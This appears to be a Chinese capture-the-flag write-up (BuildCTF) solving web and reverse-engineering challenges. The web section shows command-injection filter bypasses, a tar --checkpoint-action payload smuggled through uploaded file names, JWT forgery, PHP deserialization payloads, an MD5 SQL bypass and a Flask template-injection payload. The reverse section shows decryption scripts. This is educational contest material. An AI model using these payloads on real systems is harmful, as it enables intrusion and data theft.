ls /查看目录
对空格有过滤，使用${IFS}绕过过滤
cat flag 发现对关键字也有过滤
单引号分割绕过过滤成功得到 flag
刮刮乐 解题人：shag0u
回显一个这个
添加 Referer 字段试试
无回显，cmd 传入 ls 依旧无回显，用 || 截断试试
成功 ls， 直接 cat /flag 试试
拿下 flag
ez!http 解题人：shag0u
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST / HTTP/1.1 Host: 27.25.151.80:42411 User-Agent: buildctf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: buildctf Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://27.25.151.80:42411 Connection: keep-alive Referer: http://27.25.151.80:42411/ Upgrade-Insecure-Requests: 1 Referer: blog.buildctf.vip X-Forwarded-For: 127.0.0.1 Date: 2042.99.99 From: root@buildctf.vip via: buildctf.via user=root&getFlag=This_is_flag
find-the-id 解题人：shag0u
最终值应该为 207 时得到 flag
打包给你 解题人：shag0u
ai 审计代码一下此处存在一个 tar –checkpoint-action 漏洞
机缘巧合突发灵感想试试是不是空格的问题就拆开写了试试这个 payload--checkpoint=1 [空格] --checkpoint-action=exec=env>111.txt
还真让我拿到环境变量了
虽然说找到了 rce 的点，但是题目过滤了 .. 和/ 让路径穿越变得十分困难，找了好多文章，看到可以将 payload 使用 base64 编码之后写到 sh 文件里面然后执行 sh 文件直接开试！
直接运行！！！
上传文件名为–checkpoint=1 的文件
上传一个文件名为空格的文件
上传一个文件名为–checkpoint-action=exec=echo Y2F0JHtJRlN9L0d1ZXNzX215X25hbWU= | base64 -d > 1.sh 的文件
上传一个文件名为–checkpoint-action=exec=sh 1.sh>1.txt 的文件
sub 解题人：CurlySean
点进去发现权限不够
看源码以后，发现role必须是admin，才能访问文件
咱们先去注册一个账号 admin admin
抓包获取到jwt，源码中也有密钥“BuildCTF”
伪造一下jwt
后面将时间戳也修改了一下
成功访问
发现这里有一个命令注入的东西
找到注入点
找了找没有flag文件，所以看了一下环境变量，成功出货
ezlogin 解题人：CurlySean
提示说在users.js中，这里显示小写不能是buildctf，大写得是BUILDCTF，这个是一个toLowercase的漏洞
成功
Cookie_Factory 解题人：CurlySean
这里的逻辑是，先加，后判断，可以使用条件竞争
抓包放到，repeat
将power修改为1e100，一直发送
出来了成功获取flag
BuildCTF{H0w_Did_Y0u_Cl1ck_S0_M4ny_T1mes_666}
babyupload 解题人：shag0u
进入链接看到了一个文件上传界面，和题目一样，应该是一个文件上传
他说他不认识这个图片，那就加一个文件头试试
能知道这是一个图片了，但是也过滤了php,经过后续测试，还过滤了一些env,eval,assert，php等东西
现在要想的就是该如何使他解析
成功使照片解析，但是我们都找了整个目录，发现没有flag，应该在环境变量里面
成功找到flag
LovePopChain 解题人：CurlySean
首先需要get一个参数 No_Need.For.Love
成功接受到参数 接下来该进行构造了
理论形成，实践开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class MyObject{ public $NoLove; } class GaoZhouYue{ public $Yuer; public $LastOne; } class hybcx{ public $JiuYue; public $Si; } $a = new MyObject(); $b = new hybcx(); $c = new GaoZhouYue(); $d = new MyObject(); $d -> NoLove = $b; $b->Si = $a; //echo urlencode(serialize($x) + "\n"); echo urlencode(serialize($d)); #O%3A8%3A%22MyObject%22%3A1%3A%7Bs%3A6%3A%22NoLove%22%3BO%3A5%3A%22hybcx%22%3A2%3A%7Bs%3A6%3A%22JiuYue%22%3BN%3Bs%3A2%3A%22Si%22%3BO%3A8%3A%22MyObject%22%3A1%3A%7Bs%3A6%3A%22NoLove%22%3BN%3B%7D%7D%7D
成功，然后开始找flag
tflock 解题人：CurlySean
肯定是信息泄露，找一下
在robots.txt下找到一个目录
找到两个密码本
发现锁定了，但是题目说是真假flock，所以直接爆破就行了
成功爆破到一个，密码如下，使用这个密码进入试一下
成功登录
成功获取flag
BuildCTF{da19ea13-9606-485c-a428-568f294e5ac1}
Why_so_serials? 解题人：CurlySean
获取flag的逻辑是，接受两个参数，将joker替换为batman，然后反序列化参数，如果$boom->crime为true，则可以获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php $x = 'O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:114:"batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman";s:5:"crime";b:0;}";s:5:"crime";b:0;}'; if($boo = unserialize($x)){ echo "1\n"; } class Gotham{ public $Bruce; public $Wayne; public $crime=false; public function __construct($Bruce,$Wayne){ $this->Bruce = $Bruce; $this->Wayne = $Wayne; } } if(1 == 1){ $Bruce = '1'; $Wayne = "jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker\";s:5:\"crime\";b:1;}"; $city = new Gotham($Bruce,$Wayne); if(preg_match("/joker/", $Wayne)){ echo serialize($city); echo "\n"; $serial_city = str_replace('joker', 'batman', serialize($city)); $boom = unserialize($serial_city); echo $serial_city; echo "\n"; echo $boom->crime; if($boom->crime){ echo 'niubi'; } }else{ echo "no crime"; } }else{ echo "HAHAHAHA batman can't catch me!"; } #payload=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker\";s:5:\"crime\";b:1;}
http://27.25.151.80:44131/?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker%22;s:5:%22crime%22;b:1;}
ez_waf 解题人：CurlySean
明显是一个文件上传
发现这个尖括号直接都过滤了，该怎么办呢
成功上传
成功找到
ez_md5 解题人：CurlySean
想起一串数字经过MD5加密后 会达成 or’ 的形式可以过这个sql
1 129581926211651571912466741651878684928
刚刚一直都穿不上去，发现需要把cookie删除来防止$_REQUEST的过滤
这里用简单的数组绕过就可以，然后就可以看下面的了
刚刚有一个robots的提示，我们来看一下
应该是MD5的前几位给我们了，剩下也就7位数，还不能传字母，爆破一下吧
1 2 3 4 5 6 7 8 9 10 11 12 13 php import hashlib salt = '114514' for i in range(10000000): m = f'{i:0>7}' print((salt + str(i))) m = hashlib.md5((salt + str(i)).encode()).hexdigest() print(m) if(str(m) == "3e41f780146b6c246cd49dd296a3da28"): print("mima" + m); break
成功爆破，该传参了
参数中有 _ 非法参数传参 _ 要改为 [ 并且最后需要url编码一下才能正确
RedFlag 解题人：shag0u
get_flashed_messages函数：
__globals__属性：globals ，可以访问到Flask应用的上下文对象，如current_app。
访问current_app对象：
访问应用配置config：globals ，可以间接访问current_app，从而访问config{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Reverse 新？Android路？
网上搜lua在线工具，一个一个试，main文件脱壳后有内容显示
找到一个类似密文的东西，然还有一个key，似乎试BuildCTF，但是看不出来是啥加密，但是可能有base64解密（因为有一个base64）
在看别的文件，脱壳but.lua文件，有内容但没得到啥东西
继续看，ai分析是rc4加密，想到rc4加密有密钥，猜测极有可能
然后就是用工具去解密，经过一番坚持不懈的努力，得到了flag（先base64再rc4最后在base64）
成功得到flag~~~~
自是花中第一流 解题人：随风而去吧
然后F5反编译得到主要代码
发现就是典型的输入数据后对数据进行加密，然后与已有的密文进行对比
找到加密函数：
然后key的话是对已有的一个key进行处理
然后都找到之后就是让ai帮助写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 def KSA(key): key_length = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S, data_len): i = 0 j = 0 key = [] while len(key) < data_len: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] key.append(K) return key def encrypt_decrypt(data, key): return bytes([data[i] ^ key[i] for i in range(len(data))]) def init_key(Is_key): return bytes([Is_key[i] ^ 0x31 for i in range(len(Is_key))]) # Is_key 数组，初始化 key Is_key = [0x77, 0x00, 0x01, 0x5E, 0x46, 0x54, 0x43] key = init_key(Is_key) # 初始化S盒 S = KSA(key) # secret 数组 secret = bytes([0x7E, 0x58, 0x36, 0xF5, 0xC5, 0xF3, 0x39, 0xD4, 0x65, 0xCF, 0x67, 0x85, 0x37, 0x8C, 0x0C, 0xD4, 0x46, 0x88, 0x95, 0x2F, 0xDB, 0xB6, 0xA7, 0x56, 0xDC, 0xFE, 0xA9, 0x99, 0x92, 0x60, 0xA6, 0xC9, 0xE7, 0xCF, 0xBD, 0xB5, 0x62]) # 生成密钥流 data_len = len(secret) key_stream = PRGA(S, data_len) # 解密数据 original_input = encrypt_decrypt(secret, key_stream) # 输出原始输入，这就是所谓的flag print("Flag:", original_input.decode('utf-8'))
晴窗细乳戏分茶 解题人：随风而去吧
发现是有两段flag，并分别对其进行加密
这是第一段，先用这个encrypte函数加密完之后和enc对比，然后根据加密脚本原理写逆向脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import struct def decrypt(v, k): DELTA = 0x9e3779b9 sum = DELTA * 32 v0, v1 = v[0], v[1] for _ in range(32): v1 = (v1 - ((v0 + sum) ^ ((v0 << 4) + k[2]) ^ ((v0 >> 5) + k[3]))) & 0xffffffff v0 = (v0 - ((v1 + sum) ^ ((v1 << 4) + k[0]) ^ ((v1 >> 5) + k[1]))) & 0xffffffff sum = (sum - DELTA) & 0xffffffff return (v0, v1) def decrypt_data(encrypted_data, key): decrypted_data = [] for i in range(0, len(encrypted_data), 2): decrypted_block = decrypt((encrypted_data[i], encrypted_data[i+1]), key) decrypted_data.extend(decrypted_block) return decrypted_data # Assuming these are the encryption outputs and the key enc = [2735501326, 4136359651, 3235154416, 314506021, 2163131827, 731233488] key = [1646625, 164438, 164439, 2631985] decrypted = decrypt_data(enc, key) # Interpret the decrypted data as bytes and then decode UTF-8, adjusting appropriately if necessary byte_data = struct.pack('<' + 'I'*len(decrypted), *decrypted) try: print(byte_data.decode('utf-8')) except UnicodeDecodeError: print("Decoded string could not be printed, might contain non-text or misinterpreted data.")
然后再看第二个加密函数encrypt2，根据原理再次写一个逆向脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import struct def decrypt2(num_rounds, v, k): DELTA = 0x9E3779B9 sum = DELTA * num_rounds v0, v1 = v[0], v[1] for _ in range(num_rounds): v1 = (v1 - ((((v0 >> 5) ^ (16 * v0)) + v0) ^ ((k[(sum >> 11) & 3] + sum) & 0xffffffff))) & 0xffffffff sum = (sum + 0x61C88647) & 0xffffffff # reverse of sum -= DELTA v0 = (v0 - ((((v1 >> 5) ^ (16 * v1)) + v1) ^ ((k[sum & 3] + sum) & 0xffffffff))) & 0xffffffff return v0, v1 def decrypt_data2(encrypted_data, key, num_rounds): decrypted_data = [] for i in range(0, len(encrypted_data), 2): decrypted_block = decrypt2(num_rounds, encrypted_data[i:i+2], key) decrypted_data.extend(decrypted_block) return decrypted_data # Given encrypted data and key from the code enc2 = [2272146980, 2824939640, 1057529116, 1243942236] key2 = [358040470, 1131796, 85988116, 120935944] # Decrypt data assuming 32 rounds as in the "encrypt2" function decrypted = decrypt_data2(enc2, key2, 32) # Format decrypted data into bytes and attempt to decode byte_data = struct.pack('<' + 'I'*len(decrypted), *decrypted) try: print(byte_data.decode('utf-8')) except UnicodeDecodeError: print("Decoded string could not be printed, might contain non-text or misinterpreted data.") BuildCTF{D0_y0u_WanT_T0_D3ink_s0mE_TEA?}
pyc 解题人：随风而去吧
很简单就是换表之后base64解码，然后写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import base64 def decode(encoded): # Decode the base64 encoded string encoded_bytes = base64.b64decode(encoded) s = bytearray() for byte in encoded_bytes: # Subtract 16 from each byte, and handle wrap-around x = byte - 16 if x < 0: x += 256 # XOR the result with 32 x = x ^ 32 s.append(x) return s.decode('utf-8') # The encoded correct flag correct_encoded = 'cmVZXFRzhHZrYFNpjyFjj1VRVWmPVl9ij4kgZW0=' # Decode to find the flag flag = decode(correct_encoded) print("Decoded flag:", flag)
BuildCTF{pcy_1s_eaey_for_Y0u}
ez_xor？ 解题人：随风而去吧
sub_140001580函数的内容是利用一个256长度的数组对输入的内容进行加密
sub_140001410函数是利用key去处理一个256长度的数组
然后最初的key是BuildCTF2024!_，最一开始拿这个做做不出来，最后发现是还有个对key做处理的，是检测动调的
最后处理后的key是7h1s_15_@_key@A@
这是动调得到的处理后的256长度的数组，原理就是根据加密逻辑从这32位里面挑出32位和flag相加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 初始化byte_1400077B0数组 byte_1400077B0 = [ 0xF7, 0x0A, 0xD3, 0xD5, 0xB6, 0xE2, 0x03, 0x83, 0xCB, 0x33, 0xA8, 0xE3, 0x9D, 0xEA, 0xAB, 0x7F, 0xCF, 0x69, 0x1C, 0x50, 0x84, 0x16, 0xB8, 0x9B, 0xD6, 0x72, 0xDF, 0x20, 0xAA, 0x2E, 0xBD, 0x87, 0x43, 0xCC, 0xEC, 0x80, 0x35, 0xD8, 0x0A, 0x8A, 0xDA, 0x2C, 0xFE, 0xF1, 0x5F, 0xE6, 0x4D, 0x4C, 0xD0, 0x2F, 0x41, 0x14, 0x7B, 0x46, 0x4B, 0xEE, 0x6B, 0xBF, 0xF3, 0xAC, 0xB9, 0x07, 0x34, 0x62, 0x96, 0x51, 0xCE, 0x0B, 0x1A, 0x9E, 0x5A, 0x58, 0x8C, 0x4F, 0xC5, 0x3D, 0x6D, 0xDD, 0xC1, 0x42, # 省略剩余初始化内容以节省空间 ] # 准备变量 v3 = 0 v4 = 0 result = 32 # 循环32次 a1_subtracted = [] # 循环执行32次 for i in range(result): v3 = (v3 + 7) % 256 v4 = (v4 + byte_1400077B0[v3]) % 256 # 交换操作 byte_1400077B0[v3], byte_1400077B0[v4] = byte_1400077B0[v4], byte_1400077B0[v3] # 计算a1减去的值 index = (byte_1400077B0[v4] + byte_1400077B0[v3]) % 256 a1_subtracted.append(byte_1400077B0[index]) # 输出结果 a1_subtracted
然后将密文和得到的32位数据相加然后转换为字符串
1 2 3 4 5 6 7 8 9 10 11 12 # 定义已知的两个列表，分别代表减去的值和char数组 a1_subtracted = [28, 12, 208, 86, 185, 179, 81, 128, 17, 227, 131, 80, 101, 163, 222, 64, 69, 44, 191, 48, 80, 33, 3, 73, 248, 210, 227, 242, 0, 28, 35, 236] char = [0x19, 0x68, 0xA2, 0xEF, 0x7B, 0xBA, 0x0E, 0xC5, 0x5D, 0x80, 0xEF, 0x09, 0x0B, 0xD1, 0x81, 0xF1, 0xF0, 0x33, 0xA6, 0x11, 0x23, 0x58, 0x5C, 0x2B, 0x38, 0x8D, 0x80, 0x60, 0x61, 0x27, 0x48, 0x35] # 将两个列表的元素相加并限制结果在0到255之间（模256） result = [(a + b) % 256 for a, b in zip(a1_subtracted, char)] # 转换结果列表为对应的字符 result_string = ''.join(chr(r) for r in result) result_string
babyre 解题人：随风而去吧
用ida打开看一下，整体的逻辑是接受一个46位的flag，将flag分为两个长度为23的密文，然后经过加密后，分别与两部分对比，然后判断flag是否正确
1 2 str1 = "\x19WQQN\x14\0X\x05I\x1DQWRWV\x01R\0RUR\x1E" str2 = "H\x7Fcfni~lqo92i2??>'8=i;'"
第一部分flag是前半部分，然后与A异或后的东西
知道其加密原理后，就可以写出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 str1 = "\x19WQQN\x14\0X\x05I\x1DQWRWV\x01R\0RUR\x1E" str2 = "H\x7Fcfni~lqo92i2??>'8=i;'" flag1='' flag2 ='' print(len(str1)) for i in range(23): for j in range(127): if j ^ 0xA == ord(str2[i]): flag1 += chr(j) print("flag1 = " + flag1) flag2 += chr(ord(str1[0]) ^ ord(flag1[22])) print("flag2 = " + flag2) x = '4' for j in range(1,23): x = chr(ord(x) ^ ord(str1[j])) print(x) flag2 += x print(flag2)
